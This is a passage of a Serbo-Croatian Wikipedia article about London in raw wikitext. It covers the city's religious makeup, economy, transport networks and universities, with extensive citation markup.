|publisher=The Daily Telegraph |url=http://www.telegraph.co.uk/news/uknews/1564365/One-fifth-of-children-from-ethnic-minorities.html|title=One fifth of children from ethnic minorities }}</ref> Siječnja 2005, pregled londonske etničke i religiozne raznolikosti ustvrdio je više od 300 korištenih jezika i više od 50 alohtonih zajednica koje u Londonu imaju populaciju veću od 10,000.<ref name="LOND96">{{cite web |publisher=Guardian |url=http://www.guardian.co.uk/uk/2005/jan/21/britishidentity1 |title=London: Every race, colour, nation and religion on earth}}</ref> Podaci Nacionalnog ureda za statistiku prikazuju da 2006. broj stanovnika Londona rođenih u inozemstvu iznosi 2,288,000 (31%), u odnosu na 1,630,000 iz 1997.<ref name="LOND97">{{cite web |publisher=This is London |url=http://www.thisislondon.co.uk/news/article-23374397-one-third-of-londoners-born-outside-britain.do |title=One Third of Londoners born outside Britain |access-date=2010-09-17 |archivedate=2010-01-10 |archiveurl=https://web.archive.org/web/20100110011346/http://www.thisislondon.co.uk/news/article-23374397-one-third-of-londoners-born-outside-britain.do |deadurl=yes }}</ref> Popis iz 2001. ustanovio je da je 27% stanovništva Velikog Londona rođeno izvan Velike Britanije, s laganim porastom ne-bijele populacije.<ref name="LOND98">{{cite web |publisher=Office for National Statistics |url=http://www.statistics.gov.uk/census2001/profiles/H-A.asp |title=Census 2001: London |access-date=2010-09-17 |archive-date=2011-08-20 |archive-url=https://web.archive.org/web/20110820044950/http://www.statistics.gov.uk/census2001/profiles/H-A.asp |url-status=dead }}</ref> Tablica desno gore prikazuje državu rođenja londonskih stanovnika 2001, prema podacima posljednjeg britanskog popisa (prvih 21). === Religija === {{bar box |title=Religija u Londonu |titlebar=#ddd |left1=Religija |right1=Postotak |float=left |bars= {{bar percent|[[Hrišćanstvo]]|purple|58.2}} {{bar percent|[[Ireligioznost|Bez religije]]|violet|15.8}} {{bar percent|Nedeklarirana religija|black|8.7}} {{bar percent|[[Islam]]|Green|8.5}} {{bar percent|[[Hinduizam]]|Orange|4.1}} {{bar percent|[[Judaizam]]|Blue|2.1}} {{bar percent|[[Sikizam|Sikhizam]]|yellow|1.5}} {{bar percent|[[Budizam]]|Gold|0.8}} {{bar percent|[[Paganizam]]|Sliver|0.3}} {{bar percent|Ostalo|gray|0.2}} }} Većina građana Londona - 58.2% – izjašnjava se [[Hrišćanstvo|kršćanima]],<ref name="LOND99">{{cite web |publisher=Office for National Statistics |url=http://www.statistics.gov.uk/census2001/profiles/H-A.asp#ethnic |title=Census 2001 profiles: London |access-date=2010-09-17 |archive-date=2011-08-20 |archive-url=https://web.archive.org/web/20110820044950/http://www.statistics.gov.uk/census2001/profiles/H-A.asp#ethnic |url-status=dead }}</ref> koje prate [[ireligioznost|nereligiozni]] (15.8%), [[Islam|muslimani]] (8.5%), [[Hinduizam|Hindusi]] (4.1%), [[Judaizam|Židovi]] (2.1%), [[Sikizam|Sikhi]] (1.5%), [[Budizam|budisti]] (0.8%), [[paganizam|pogani]]/[[wicca]]ni (0.3%) i ostali (0.2%), dok se 8.7% ljudi u popisu 2001. nije izjasnilo o religiji.<ref name="LOND99"/> London je tradicionalno hrišćanski grad, te u gradu postoje brojne crkve, posebno u ''Cityju''. Poznate katedrale Sv. Pavla i Southwark Cathedral južno od rijeke, [[Anglikanstvo|anglikanska]] upravna su središta,<ref name="LOND100">{{cite web |publisher=St Paul's Cathedral |url=http://www.stpauls.co.uk/Cathedral-History |title=The Diocese of London |access-date=2010-09-17 |archive-date=2011-11-22 |archive-url=https://web.archive.org/web/20111122045642/http://www.stpauls.co.uk/Cathedral-History |dead-url=yes }}</ref> dok canterburyski nadbiskup, glavni biskup [[Crkva Engleske|Engleske Crkve]] i [[Anglikanska zajednica|Anglikanske zajednice]] širom svijeta, svoju glavnu rezidenciju ima u ''Lambeth Palace'', u londonskoj općini Lambeth.<ref name="LOND101">{{cite web |publisher=lambethpalacelibrary.org |url=http://www.lambethpalacelibrary.org/ |title=Lambeth Palace Library}}</ref> Značajne nacionalne i kraljevske ceremonije održavaju su u Sv. Pavlu, i Westminsterskoj opatiji.<ref name="LOND102">{{cite web |publisher=Dean and Chapter of Westminster |url=http://www.westminster-abbey.org/ |title=Westminster Abbey}}</ref> Treba razlikovati opatiju i obližnju Westminstersku katedralu, najveću [[katolička crkva|rimokatoličku]] katedralu u Engleskoj i [[Wales]]u.<ref name="LOND103">{{cite web |publisher=westminstercathedral.org.uk |url=http://www.westminstercathedral.org.uk/home.html |title=Westminster Cathedral |access-date=2010-09-17 |archivedate=2008-03-27 |archiveurl=https://web.archive.org/web/20080327041736/http://www.westminstercathedral.org.uk/home.html |deadurl=yes }}</ref> Unatoč pretežno anglikanskim crkvama, prisustvovanje službama u crkvi (anglikanski i protestanstki pandan katoličkoj misi) među anglikancima vrlo je nisko. Nazočnost službama nastavlja s dugačkim i polaganim opadanjem, u skladu sa statistikama Engleske crkve.<ref name="LOND104">{{cite web |publisher=Church of England |url=http://www.cofe.anglican.org/info/statistics/2007provisionalattendance.pdf |title=Church of England Statistics |access-date=2010-09-17 |archive-date=2014-07-09 |archive-url=https://wayback.archive-it.org/all/20140709133529/http://www.churchofengland.org/about-us/facts-stats.aspx |dead-url=yes }}</ref> [[Datoteka:Cathédrale St-Paul - coupole.jpg|thumb|180px|Kupola [[katedrala Svetog Pavla u Londonu|Katedrale sv. Pavla]]]] [[Datoteka:Baitul Futuh.jpg|thumb|left|thumb|180px|Džamija Baitul Futuh. Najveća džamija u zapadnoj Europi.<ref>http://www.guardian.co.uk/uk/2003/oct/02/religion.world Najveća džamija u zapadnoj Europi</ref>]] U Londonu također žive znatne [[Islam|muslimanske]], [[Hinduizam|hinduističke]], [[sikh]]i, i [[Jevreji|jevrejske]] zajednice. Mnogi muslimani žive u općinama [[Tower Hamlets]] i [[Newham]]. Najznačajnija muslimanska građevina je središnja londonska džamija (''London Central Mosque'') na rubu Regent's Parka<ref name="LOND105">{{cite web |publisher=London Central Mosque Trust Ltd. & The Islamic Cultural Centre |url=http://www.iccuk.org/index.php?article=1&PHPSESSID=rbt2vceqs1bpn9567k0kiv9hu5 |title=London Central Mosque Trust Ltd}}</ref> i Baitul Futuh džamija (''Baitul Futuh Mosque'') u Morden.<ref>{{cite web |publisher=Baitul Futuh Mosque |url=http://www.baitulfutuh.org/ |title=Baitul Futuh Mosque}}</ref> Nakon naftnog buma, veći broj imućnih bliskoistočnih muslimana naselio se oko Mayfaira i Knightsbridgea u Zapadnom Londonu<ref name="LOND106">{{cite web |publisher=thisislondon.co.uk |url=http://www.thisislondon.co.uk/standard/article-23488244-the-300-billion-arabs-are-coming.do |title=The $300 billion Arabs are coming |access-date=2010-09-17 |archivedate=2011-05-19 |archiveurl=https://www.webcitation.org/5yo15MyJm?url=http://www.thisislondon.co.uk/standard/article-23488244-the-300-billion-arabs-are-coming.do |deadurl=yes }}</ref> Velika Hindu zajednica bazirana je u sjeverozapadnim općinama Harrow i Brent, gdje se nalazi i jedan od najvećih hinduističkih hramova u Europi, ''Neasden Temple''.<ref name="LOND108">{{cite web|publisher=[[BBC]]|url=http://www.bbc.co.uk/london/content/articles/2005/05/19/hindu_london_feature.shtml|title=Hindu London|archiveurl=https://web.archive.org/web/20060218161357/http://www.bbc.co.uk/london/content/articles/2005/05/19/hindu_london_feature.shtml|archivedate=2006-02-18|access-date=2010-09-17|deadurl=no}}</ref> Zajednice Sikha locirane su na istoku i zapadu Londona, gdje je također smješten i najveći sikhski hram na svijetu izvan Indije.<ref name="LOND109">{{cite web |publisher=[[BBC]] |url=http://news.bbc.co.uk/1/hi/england/2898761.stm |title=Sikh temple opens }}</ref> Većina britanskih Jevreja živi u Londonu, sa značajnim jevrejskim zajednicama u Stamford Hillu, Stanmoreu, Golders Greenu, Hampsteadu,<ref name="LOND110">{{cite web |publisher=jewishmuseum.org.uk |url=http://www.jewishmuseum.org.uk/?unique_name=whats-on&filter=Walk&filterfrom=keywords&item=46&itemoffset=3 |title=Jewish Hampstead |access-date=2010-09-17 |archive-date=2011-08-11 |archive-url=https://web.archive.org/web/20110811052244/http://www.jewishmuseum.org.uk/?unique_name=whats-on&filter=Walk&filterfrom=keywords&item=46&itemoffset=3 |url-status=dead }}</ref> Hendonu, i Edgwareu u Sjevernom Londonu.<ref name="LOND111">{{cite web |publisher=[[BBC]] |url=http://www.bbc.co.uk/london/content/articles/2004/08/11/communities_jewish_feature.shtml |title=Jewish Communities in London }}</ref> Sinagoga ''Stanmore and Canons Park'' sadrži jedno od najvećih članstava među svim ortodoksnim jevrejskim sinagogama u cijeloj Europi, nadmašivši sinagogu u Ilfordu (također u Londonu) 1998.<ref name="LOND112">{{cite web |publisher=jewishagency.org |url=http://www.jewishagency.org/JewishAgency/English/Israel/Partnerships/Regions/Kavimut/Britain+Communities/Stanmore+11.htm |title=Jewish Agency |access-date=2010-09-17 |archive-date=2011-04-26 |archive-url=https://web.archive.org/web/20110426075317/http://www.jewishagency.org/JewishAgency/English/Israel/Partnerships/Regions/Kavimut/Britain+Communities/Stanmore+11.htm |dead-url=yes }}</ref> Zajednica je osnovala Londonski židovski forum (''London Jewish Forum'') 2007., kao odgovor na rastući značaj londonske vlade.<ref name="LOND113">{{cite web |publisher=London Jewish Forum |url=http://www.ljf.org.uk/London%20Jewish%20Forum/About%20us.html |title=About Us - Mission Statement}}</ref> == Ekonomija == ''Glavni članci: [[Ekonomija Londona]], [[Mediji u Londonu]], [[Turizam u Londonu]]'' [[Datoteka:Londres 353..jpg|thumb|180px|Londonski ''City'', zajedno s New York Cityjem, najveće svjetsko financijsko središte<ref name="LOND3"/><ref name="LOND4"/>]] London je važniji centar međunarodnog poslovanja i trgovine, te je jedan od tri "zapovjedna središta" svjetske ekonomije uz New York City i Tokyo. Prema procjenama ''PricewaterhouseCoopersa'' iz 2005, London je 6. najveća gradska ekonomija nakon Tokija, New York Cityja, [[Los Angeles]]a, [[Chicago|Chicaga]], i [[Pariz]]a.<ref name="LOND114">{{cite web |publisher=ITWeek |url=http://www.computing.co.uk/accountancyage/news/2184877/london-ranked-world-six-largest= |title=London ranked as world's six largest economy |access-date=2010-09-17 |archive-date=2008-09-06 |archive-url=https://web.archive.org/web/20080906101808/http://www.computing.co.uk/accountancyage/news/2184877/london-ranked-world-six-largest= }}</ref> London generira otprilike 20% britanskog [[Bruto domaći proizvod|BDP]]-a (ili 446 milijardi američkih dolara 2005.), dok ekonomija londonskog metropolitanskog područja, drugog najvećeg u Europi, stvara 30% britanskog BDP-a (ili procijenjenih 669 milijardi američkih dolara 2005). London. jedan je od najistaknutijih financijskih središta u svijetu, i zajedno s New Yorkom najznačajnija lokacija za međunardone financije.<ref name="LOND115">{{cite web |publisher=The Economist |url=http://www.economist.com/finance/displaystory.cfm?story_id=E1_TDNDRPTT |title=After the fall}}</ref><ref name="LOND116">{{cite web |publisher=The Economist |url=http://www.economist.com/specialreports/displaystory.cfm?story_id=9753240 |title=Financial Centres - Magnets for money}}</ref> Financije su londonska najveća industrija, čiji financijski izvozi uvelike doprinose britanskoj platnoj bilanci. U financijskim uslugama, do sredine 2007. bilo je zaposleno oko 325,000 ljudi. U Londonu djeluje preko 480 inozemnih banaka, više nego u bilo kojem drugom gradu u svijetu. Radi svoje istaknute globalne uloge, na Londonsku ekonomiju utjecala je [[svjetska financijska kriza od 2007. godine]]. Procjenjuje se da će u financijskom sektoru biti otpušteno 70,000 ljudi u roku godine dana.<ref name="LOND117">{{cite web |publisher=The China Post |url=http://www.chinapost.com.tw/business/europe/2008/11/27/185064/City-of.htm |title=City of London mayor predicts 70,000 job cuts |access-date=2010-09-17 |archivedate=2011-05-19 |archiveurl=https://www.webcitation.org/5yo1CdhOL?url=http://www.chinapost.com.tw/business/europe/2008/11/27/185064/City-of.htm |deadurl=yes }}</ref> [[Datoteka:Canary Wharf Wide View 2, London - July 2009.jpg|thumb|lijevo|180px|U [[Canary Wharf]]u smještene su najviše zgrade u Velikoj Britaniji]] Više od polovice od prvih 100 britanskih kompanija, rangiranih prema burzovnom indeksu ''FTSE 100'', i više od 100 među 500 najvećih europskih kompanija svoja sjedišta ima u središnjem Londonu. Preko 70% od ''FTSE 100'' kompanija, locirano je u Londonskoj metropolitanskoj zoni, dok 75% kompanija s popisa ''Fortune 500'', ima svoje urede u Londonu.<ref name="LOND118">{{cite web |publisher=londonstockexchange.com |url=http://www.londonstockexchange.com/en-gb/ |title=London Stock Exchange }}</ref> U Londonskom ''Cityju'' smješteni su [[Engleska Banka]], [[Londonska Burza]], i Lloydsovo tržište osiguranja. Zajedno s profesionalnim uslugama, u Londonu su koncentrirane i medijske kompanije, te je industrija medijske distribucije drugi londonski najkonkurentniji sektor.<ref name="LOND119">{{cite web |publisher=Oxford Economic Forecasting |url=http://www.cityoflondon.gov.uk/NR/rdonlyres/2CAE66FB-2DD5-41A5-B916-8FFC37276059/0/BC_RS_lpuk_0511_FR.pdf |title=London's Place in the UK Economy, 2005–6 |access-date=2010-09-17 |archive-date=2006-05-25 |archive-url=https://web.archive.org/web/20060525075622/http://www.cityoflondon.gov.uk/NR/rdonlyres/2CAE66FB-2DD5-41A5-B916-8FFC37276059/0/BC_RS_lpuk_0511_FR.pdf |dead-url=yes }}</ref> [[BBC]], kao i druge radio-televizijske kuće sa sjedištem u gradu, značajni su poslodavaci. Također, mnoge nacionalne novine objavljuju se u Londonu (''The Guardian, The Observer, The Daily Telegraph, The Times Financial Times''). [[Turizam]], koji zapošljava 350,000 u punom radnom vremenu (2003.), jedna je od najvažnijih industrija,<ref name="LOND120">{{cite web |publisher=PersonnelToday.com |url=http://www.personneltoday.com/articles/2005/02/15/27958/london-is-the-hr-centre-of-opportunity-in-the-uk.html |title=London is the HR centre of opportunity in the UK |access-date=2010-09-17 |archivedate=2011-05-19 |archiveurl=https://www.webcitation.org/5yo1GNS8r?url=http://www.personneltoday.com/articles/2005/02/15/27958/london-is-the-hr-centre-of-opportunity-in-the-uk.html |deadurl=yes }}</ref> s godišnjom turističkom potrošnjom od 15 milijardi funti.<ref name="LOND121">{{cite web |publisher=London Development Agency |url=http://www.lda.gov.uk/upload/ppt/Tourism_Development_in_London_presentation.PPT |title=Tourism Development in London |access-date=2010-09-17 |archivedate=2009-09-03 |archiveurl=https://web.archive.org/web/20090903145200/http://www.lda.gov.uk/upload/ppt/Tourism_Development_in_London_presentation.PPT |deadurl=yes }}</ref> Istraživanje koje je listopada 2007. proveo Euromonitor, pozicionira London na prvo mjesto između 150 najpopularnijih svjetskih gradova, s 15.6 milijuna međunarodnih posjetitelja 2006.<ref name="LOND122">{{cite web |publisher=EuroMonitor |url=http://www.euromonitor.com/Top_150_City_Destinations_London_Leads_the_Way |title=Top 150 City Destinations: London Leads the Way}}</ref> Svake godine London posjećuje 27 milijuna turista s noćenjem. Londonska luka, druga je najveća u Ujedinjenom Kraljevstvu, s 53 milijuna [[tona]] prekrcanog tereta svake godine. == Promet == ''Glavni članak: [[Promet u Londonu]]'' [[Datoteka:Why London Underground is nicknamed The Tube.jpg|thumb|180px|Londonski metro, najstariji i najveći sistem podzemne željeznice u svijetu, poznat kao ''The Tube'', (cijev) radi oblika tunela]] Promet, jedan je od četiri glavna sustavna sektora kojim upravlja gradonačelnik Londona,<ref name="LOND124">{{cite web |publisher=tfl.gov.uk |url=http://www.tfl.gov.uk/ |title=Transport for London}}</ref> premda se gradonačelnikova financijska kontrola ne proteže na željezničku mrežu duže distance koja zalazi u grad. 2007, preuzeo je odgovornost za neke lokalne linije, koje sada čine mrežu ''London Overground'', zajedno s odgovornošću za podzemnu željeznicu, [[tramvaj]]e i [[autobus]]e. Javnim prijevozom, jednim od najobimnijih na svijetu, upravlja ''Transport for London'' (TfL). [[Bicikl]] postaje sve popularnije prevozno sredstvo u Londonu, te ''London Cycling Campaign'' zagovara bolje uvjete.<ref name="LOND125">{{cite web |publisher=Rosanna Downes |url=http://www.lcc.org.uk/ |title=London Cycling Campaign}}</ref> Linije koje su formirale londoski metro, kao i tramvaji i autobusi, postali su dijelom integriranog transportnog sustava 1933, kada je osnovan ''London Passenger Transport Board'' (LPTB) ili ''London Transport''. ''Transport for London'' (TfL), danas je statutarna korporacija odgovorna za većinu aspekata transportnog sustava u Velikom Londonu, kojom upravlja odbor i povjerenik postavljen od londonskog gradonačelnika.<ref name="LOND126">{{cite web |publisher=Greater London Authority |url=http://www.london.gov.uk/help/faq.jsp#transport |title=How do I find out about transport in London? |archiveurl=http://webarchive.nationalarchives.gov.uk/20110929065714/http://www.london.gov.uk/help/faq.jsp#transport|archivedate = 29. 09. 2011.}}</ref> === Željeznice === [[Datoteka:St Pancras international entrance.jpg|thumb|left|thumb|180px|Željeznička stanica ''St Pancras'' mjesto je polaska direktnih [[Vlak velike brzine|vlakova velike brzine]] za europske destinacije kao [[Pariz]]]] [[Londonski metro]], - danas u svojoj cjelini uobičajeno nazvan ''The Tube'', premda je taj naziv izvorno bio korišten samo za linije na velikoj dubini - jedan je od najstarijih, najdužih i najraširenijih metro sustava u svijetu, s prvim linijama otvorenim 1863.<ref name="LOND127">{{cite web |publisher=Transport for London |url=http://www.tfl.gov.uk/corporate/modesoftransport/londonunderground/1604.aspx |title=London Underground: History}}</ref> Sustav, koji opslužuje 270 stanica,<ref name="LOND128">{{cite web |publisher=Transport for London |url=http://www.tfl.gov.uk/corporate/modesoftransport/londonunderground/1608.aspx |title=Key facts |access-date=2010-09-17 |archivedate=2011-12-15 |archiveurl=https://web.archive.org/web/20111215025236/http://www.tfl.gov.uk/corporate/modesoftransport/londonunderground/1608.aspx |deadurl=yes }}</ref> bio je formiran od nekoliko privatnih kompanija, uključujući i prvu električnu podzemnu liniju; ''City and South London Railway''.<ref name=lond/> Podzemna mneža svakoga dana preveze tri milijuna putnika, ili preko jedne milijarde svake godine.<ref name="LOND129">{{cite web |publisher=Transport for London |url=http://www.tfl.gov.uk/corporate/media/newscentre/archive/4770.aspx |title=Tube carries one billion passengers for first time |archiveurl=https://www.webarchive.org.uk/wayback/archive/20100129154835/http://www.tfl.gov.uk/corporate/media/newscentre/archive/4770.aspx |archivedate=2010-01-29 |access-date=2010-09-17 |deadurl=no }}</ref> Investicijski program nastoji se usmjeriti na probleme zagušenja i pouzdanosti, uključujući i 7 milijardi funti (10 milijardi [[Euro|Eura]]) za poboljšanja predviđena za [[Olimpijada 2012|Olimpijske igre]].<ref name="LOND130">{{cite web|publisher=Alarm UK|url=http://www.alarm-uk.org/pdf/Janet%20Goodland.pdf|title=London 2012 Olympic Transport Infrastructure|archiveurl=https://web.archive.org/web/20070509000350/http://www.alarm-uk.org/pdf/Janet%20Goodland.pdf|archivedate=2007-05-09|access-date=2010-09-17|deadurl=yes}}</ref> 2006, London je pohvaljen kao grad s najboljim javnim prevozom.<ref name="LOND131">{{cite web |publisher=[[BBC]] |url=http://news.bbc.co.uk/2/hi/uk_news/england/london/5294790.stm |title=London voted best for transport}}</ref> ''Docklands Light Railway'', otvoren 1987, drugi je, više lokalno orijentirani metro sistem koji koristi manja i laganija vozila tramvajskog tipa, koji opslužuje Docklands i Greenwich. Postoji i razvijena prigradska željeznička mreža, posebno u Južnom Londonu, koja ima manje podzemnih linija. U Londonu se nalazi najprometnija britanska željeznička stanica ''Waterloo'', s više od 177 milijuna putnika svake godine, odakle polaze linije za jugozapadni London i dijelove južne i zapadne engleske.<ref name="LOND132">{{cite web |publisher=Office of Rail Regulation |url=http://www.rail-reg.gov.uk/server/show/nav.1529 |title=Rail Station Usage |access-date=2010-09-17 |archive-date=2012-07-04 |archive-url=https://web.archive.org/web/20120704101059/http://www.rail-reg.gov.uk/server/show/nav.1529 |dead-url=yes }}</ref> Većina željezničkih linija završava u okolici središta Londona, u jednom od 14 željezničkih terminala, s iznimkom vlakova ''Thameslink'' koji povezuju [[Bedford]] na sjeveru i [[Brighton]] na jugu preko [[aerodrom]]a [[Zračna luka Luton|Luton]] i [[Gatwick|Aerodrom Gatwick]]. Od 2007, vlakovi velike brzine [[Eurostar]] povezuju ''St Pancras'' s [[Lille]]om, Parizom i [[Bruxelles]]om. Vrijeme putovanja do Pariza i Bruxellesa je 2 sata i 15 minuta, te 1 sat i 51 minuta. Radi veze željezničke linije velike brzine ''High Speed 1'' s [[Eurotunel]]om, London je bliži kontinentalnoj Europi od ostatka Britanije, dok su prvi unutarnji vlakovi velike brzine (''Southeastern'') uvedeni jula-lipnja 2009. na liniji između Kenta i Londona. === Autobusi i tramvaji === [[Datoteka:London Bus route 139 A.jpg|thumb|180px|Crveni autobusi na kat, londonska su ikona]] Londonska mreža autobusnih linija jedna je od najvećih na svijetu, s 24-satnim prometom, 8,000 autobusa, 700 ruta, i preko 6 milijuna putnika svakog radnog dana. 2003, broj putnika procijenjen je na preko 1.5 milijardi godišnje, što je više od broja putnika u metrou,<ref name="LOND136">{{cite web |publisher=Transport for London |url=http://www.tfl.gov.uk/corporate/modesoftransport/1548.aspx |title=London Buses}}</ref> uz 850 milijuna funti prihoda svake godine. Istaknuti crveni autobusi na kat, prepoznatiljivi svugdje u svijetu, zaštitni su znak londonskog transporta zajedno s crnim [[Taxi]]jima i metroom.<ref name="LOND138">{{cite web |publisher=Transport for London |url=http://www.tfl.gov.uk/modalpages/2625.aspx |title=Tube — Transport for London |access-date=2010-09-17 |archivedate=2011-05-20 |archiveurl=https://www.webcitation.org/5yoJwfagc?url=http://www.tfl.gov.uk/modalpages/2625.aspx |deadurl=yes }}</ref> Također, London ima i suvremenu [[tramvaj]]sku mrežu, poznatu kao ''Tramlink'', baziranu u okolici [[Croydon]]a na jugu grada, koja se sastoji od 39 stanica i 3 linije. 2008, prevezla je 26.5 milijuna ljudi. Od jula-lipnja 2008, ''Transport for London'' potpuni je vlasnik ''Tramlinka'', te je u planu izdatak od 54 milijuna funti na održavanje, obnovu i poboljšanja. Od travnja 2009, svi tramvaji su obnovljeni.<ref name="LOND139">{{cite web |publisher=Transport for London |url=http://www.tfl.gov.uk/assets/downloads/tramlink-factsheet.pdf |title=Tramlink Factsheet|archiveurl=http://webarchive.nationalarchives.gov.uk/20110817081356/http://www.tfl.gov.uk/assets/downloads/tramlink-factsheet.pdf|archivedate = 17. 08. 2011.}}</ref> === Zračni promet === [[Datoteka:Heathrow Terminal 5 - Passenger area.jpg|thumb|180px|Terminal 5. u zračnoj luci [[Heathrow]], najprometnijem međunarodnom aerodromu na svijetu]] London je važnije međunarodno čvorište zračnog prometa, s najvećim gradskim zračnim prostorom u svijetu. Osam aerodroma koristi riječ ''London'' u svojim nazivima, premda većina prometa prolazi kroj najvećih pet. [[Heathrow]] u Hillingdonu na zapadu Londona, najprometniji je međunarodni aerodrom u svijetu, i glavno sjedište nacionalne zrakoplovne kompanije [[British Airways]]. Marta-Ožujka 2008, otvoren je peti terminal<ref name="LOND141">{{cite web |publisher=TMC Ltd |url=http://www.heathrow-airport-uk.info/heathrow-airport-terminal-5.htm |title=Heathrow Airport Terminal 5 |access-date=2010-09-17 |archivedate=2011-04-30 |archiveurl=https://web.archive.org/web/20110430195211/http://www.heathrow-airport-uk.info/heathrow-airport-terminal-5.htm |deadurl=yes }}</ref> i već se razmatraju planovi za šesti terminal<ref name="LOND142">{{cite web |publisher=BAA Heathrow |url=http://www.heathrowairport.com/portal/site/heathrow/menuitem.2ea84de4d9bc8a0ca4b12871120103a0/%3bjsessionid=DNAfOXj7g3r3fk1j9NlWANpydf0hhlQvi8LcmzuRluuyU0u2FTlo!-949195938 |title=About Heathrow |access-date=2010-09-17 |archivedate=2010-03-06 |archiveurl=https://web.archive.org/web/20100306205248/http://www.heathrowairport.com/portal/site/heathrow/menuitem.2ea84de4d9bc8a0ca4b12871120103a0/%3Bjsessionid=DNAfOXj7g3r3fk1j9NlWANpydf0hhlQvi8LcmzuRluuyU0u2FTlo!-949195938 |deadurl=yes }}</ref> i treću pistu. Sličan promet, s dodatkom kraćih [[Niskotarifna zrakoplovna tvrtka|niskotarifnih]] letova, odvija se i u [[Gatwick|Aerodromu Gatwick]], lociranoj južno od Londona u zapadnom Sussexu. Zračna luka Stansted, smještena sjeveroistočno od grada u Essexu, glavno je čvorište za [[Ryanair]], koji zajedno s aerodromom Luton, sjeverno od Londona u Bedfordshireu, obavlja večinu kraćih niskotarifnih letova. [[Gradski aerodrom u Londonu|London City Airport]]' je najmanji i najbliži centru, i njime se koriste poslovni putnici, s redovnim letovima na kraće distance i znatnim prometom poslovnih mlažnjaka. === Ceste === [[Datoteka:M25 motorway - geograph.org.uk - 959065.jpg|thumb|180px|Kružni [[M25 (Engleska)|Autoput M25]]]] Premda se većina prometa u centralnom Londonu obavlja javnim prijevozom, korištenje osobnih automobila uobičajeno je u predgrađima. Unutarnji prsten (''London Inner Ring Road'') oko središta grada, sjeverna i južna kružna cesta (u predgrađima), i vanjski [[krug|kružni]] [[M25 (Engleska)|Autoput M25]], izvan izgrađene zone) okružuju grad, te su ispresjecane brojnim prometnim radialnim cestama, premda vrlo malo autocesta ulazi u unutrašnji London. ''M25'', s 195.5&nbsp;km, najduža je kružna autocesta na svijetu.<ref name="LOND147">{{cite web |publisher=[[BBC]] |url=http://www.bbc.co.uk/threecounties/travel/m25/m25_facts.shtml |title=Beds, Herts and Bucks Travel - All you need to know about the M25}}</ref> Plan opsežne mreže autocesta kroz grad (''London Ringways'' ili ''Ringways Plan'') pripremljen je 1960-ih, ali većina je otkazana početkom 1970-ih. 2003, uvedena je taksa za pristup centru grada određenim kategorijama vozila (''London congestion charge''), radi smanjenja obima prometa u središtu. S ponekom iznimkom, vozači moraju platiti 8 funti dnevno za vožnju područjem koje obuhvaća većinu zakrčenog centra.<ref name="LOND148">{{cite web |publisher=Transport for London |url=http://www.tfl.gov.uk/tfl/roadusers/congestioncharge/whereandwhen/ |title=Charging Zone |4=Transport for London |access-date=2010-09-17 |archivedate=2011-05-20 |archiveurl=https://www.webcitation.org/5yoK0vSxb?url=http://www.tfl.gov.uk/tfl/roadusers/congestioncharge/whereandwhen/ |deadurl=yes }}</ref><ref name="LOND149">{{cite web |publisher=Transport for London |url=http://www.tfl.gov.uk/roadusers/congestioncharging/6741.aspx |title=Who pays what |4=Transport for London |archiveurl=https://www.webarchive.org.uk/wayback/archive/20100129131320/http://www.tfl.gov.uk/roadusers/congestioncharging/6741.aspx |archivedate=2010-01-29 |access-date=2010-09-17 |deadurl=no }}</ref> Vozači koji stanuju u zoni, mogu nabaviti vrlo sniženu sezonsku propusnicu, jeftiniju od odgovarajuće autobusne naplate, koja se može obnavljati mjesečno.<ref name="LOND150">{{cite web |publisher=Transport for London |url=http://www.tfl.gov.uk/roadusers/congestioncharging/6735.aspx |title=Residents | Transport for London}}</ref> London je na zlu glasu radi svojih prometnih gužvi, na [[M25 (Engleska)|Autoputu M25]] kao najprometnijom dionicom u zemlji. Prosječna brzina vozila za vrijeme špice je 17&nbsp;km/h.<ref name="LOND151">{{cite web |publisher=The Guardian |url=http://www.guardian.co.uk/politics/2009/mar/16/boris-johnson-congestion-charge |title=Boris Johnson mulls 'intelligent' congestion charge system for London}}</ref> == Obrazovanje == ''Glavni članak: [[Obrazovanje u Londonu]]'' [[Datoteka:UCL Portico Building.jpg|thumb|180px|''University College London'', dio je Londonskog univerziteta]] London, sjedište je niza univerziteta, koledža i škola, s oko 378,000 studenata, kao centar istraživanja i razvoja. Većina osnovnih i srednjih škola djeluje prema istom sustavu koji vrijedi za ostatak Engleskog općeg školstva. S 125,000 studenata, Londonski Univerzitet (''University of London'') najveći je univerzitet kontakntog učenja u Velikoj Britaniji i Europi. Sadrži 20 koledža kao nekoliko manjih instituta, svaki s visokim stupnjem autonomije. Konstitutivni koledži, koji imaju svoje pristupne procedure, djeluju kao samostalni univerziteti, premda većinu akademskih titula dodjeljuje središnja institucija. Univerzitet u Londonu, sastoji od multidisciplinarnih koledža kao ''Royal Holloway, Birkbeck, UCL, King's, Goldsmiths, Queen Mary'', i specijaliziranih instituta kao ''[[London School of Economics]]'', ''SOAS'', ''Royal Academy of Music'',<ref name="LOND155">{{cite web |publisher=Royal Academy of Music |url=http://www.qaa.ac.uk/reviews/reports/subjectlevel/q94_95_textonly.htm |title=Quality Assessment Report by the HEFCE for the Royal Academy of Music |access-date=2010-09-17 |archivedate=2006-01-07 |archiveurl=https://web.archive.org/web/20060107224920/http://www.qaa.ac.uk/reviews/reports/subjectlevel/q94_95_textonly.htm |deadurl=yes }}</ref> ''London School of Hygiene & Tropical Medicine, Courtauld Institute of Art'' i ''Institute of Education''.<ref name="LOND156">{{cite web |publisher=Institute of Education — University of London |url=http://ioewebserver.ioe.ac.uk/ioe/index.html |title=Institute of Education |access-date=2010-09-17 |archivedate=2008-05-13 |archiveurl=https://web.archive.org/web/20080513181624/http://ioewebserver.ioe.ac.uk/ioe/index.html |deadurl=yes }}</ref> ''University College London'' i ''Imperial College London'', časopis ''Times Higher Education'' rangirao je među prvih deset univerziteta u svijetu. 2009, ''UCL'' je rangiran kao 4. najbolji, te ''Imperial College London'' kao 5. nabolji u svijetu.<ref name="LOND157">{{cite web |publisher=Times Online |url=http://www.timesonline.co.uk/tol/news/uk/education/article4910798.ece |title=Why University top 200 in full |access-date=2010-09-17 |archive-date=2011-10-12 |archive-url=https://web.archive.org/web/20111012093021/http://www.timesonline.co.uk/tol/news/uk/education/article4910798.ece }}</ref> Dodatno, ''London School of Economics'' opisana je kao vodeća institucija u svijetu za učenje i istraživanje društvenih znanosti, te ju pohađa najveći broj međunarodnih studenata među svim univerzitetima na svijetu.<ref name="LOND158">{{cite web |publisher=Times Online |url=http://www.timesonline.co.uk/tol/life_and_style/education/sunday_times_university_guide/article2496158.ece |title=The Sunday Times Good University Guide 2007 - Profile for London School of Economics |access-date=2010-09-17 |archive-date=2011-09-05 